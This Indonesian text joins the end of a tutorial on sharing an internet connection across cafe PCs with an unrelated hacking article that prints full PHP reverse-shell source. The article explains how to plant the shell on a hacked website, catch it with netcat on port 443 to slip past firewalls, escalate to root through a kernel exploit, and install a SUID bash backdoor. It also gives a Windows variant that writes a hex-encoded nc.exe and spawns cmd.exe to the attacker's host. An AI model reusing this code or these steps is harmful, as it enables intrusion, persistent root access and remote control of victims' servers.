4) Isikan Computer Name sesuai dengan nama yang telah kita berikan tadi, lalu isikan
Computer Description jika anda inginkan (Optional / tidak diisi tidak berpengaruh).
gbr-19.jpg
5) Isi Nama Workgroup sesuai dengan nama yang telah kita tentukan sebelumnya. Perlu
saya ingatkan kembali bahwa nama workgroup sebaiknya sama untuk semua komputer
agar langkah setting lebih mudah.
gbr-20.jpg
6) Pilihlah option Turn On File and Printing Sharing pada task selanjutnya.
gbr-21.jpg
7) Setelah settingan pada jendela log kita anggap benar klik next untuk menjalankan /
Mengaktifkan settingan yang telah kita buat tadi.
gbr-22.jpg
8) Tunggu beberapa saat hingga komputer selesai menyesuaikan dengan settingan
barunya.
gbr-23.jpg
9) Pilih option just finish wizard, lalu klik Next = > Finish. Biasanya PC akan otomatis
reboot setelah menyelesaikan prosedur tadi.
gbr-24.jpg
gbr-25.jpg
Langkah yang sama kita lakukan pada semua PC Client. Perbedaan cara setting antara PC
Server dan PC Client hanyalah terletak pada point 2 dan point 3.
Setelah menyelesaikan langkah settingan tersebut pada PC Client lakukanlah pengetesan
koneksi dengan cara yang sama dengan PC Server, yaitu mengunjungi alamat situs yang mudah di Loading dan mengetes kecepatan koneksi. Bila koneksi yang ada dirasa terlalu lambat silahkan lakukan pengecekan pada settingan Network tadi apakah ada Option yang salah atau tidak, dan juga lakukan pengecekan pada koneksi perkabelan apakah suda terposisikan dengan baik atau belum.
Sampai dengan langkah ini semua PC Client bisa terhubung dengan bebas ke Internet selama PC Server menghidupkan Koneksinya. Untuk membatasi penggunaan pada PC Client adal beberapa pilihan. Yang pertama adalah membuat list user dari Computer Client, user mana yang mempunyai hak untuk mengakses internet yang mana yang tidak diizinkan untuk mengaksesnya. Settingan tersebut biasanya digunakan di perkantoran. Sedangkan untuk warnet, pembatasan akses biasanya dilakukan dengan menginstalkan program billing pada C Server dan PC Client. Untuk produk billing dalam negeri sudah terdapat beberapa pengembang program diantaranya adalah www.billingexplorer.com dan www.indobilling.com untuk keperluan setting billing ini silahkan menghubungi pengembangnya masing-masing.

Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
 // Fork and have the parent process exit
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }
 
 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }
 
 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
 // Check for end of TCP connection
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }
 
 // Check for end of STDOUT
 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }
 
 // Wait until a command is end down $sock, or some
 // command output is available on STDOUT or STDERR
 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 // If we can read from the TCP socket, send
 // data to process's STDIN
 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }
 
 // If we can read from the process's STDOUT
 // send data down tcp connection
 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }
 
 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.

Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
undefined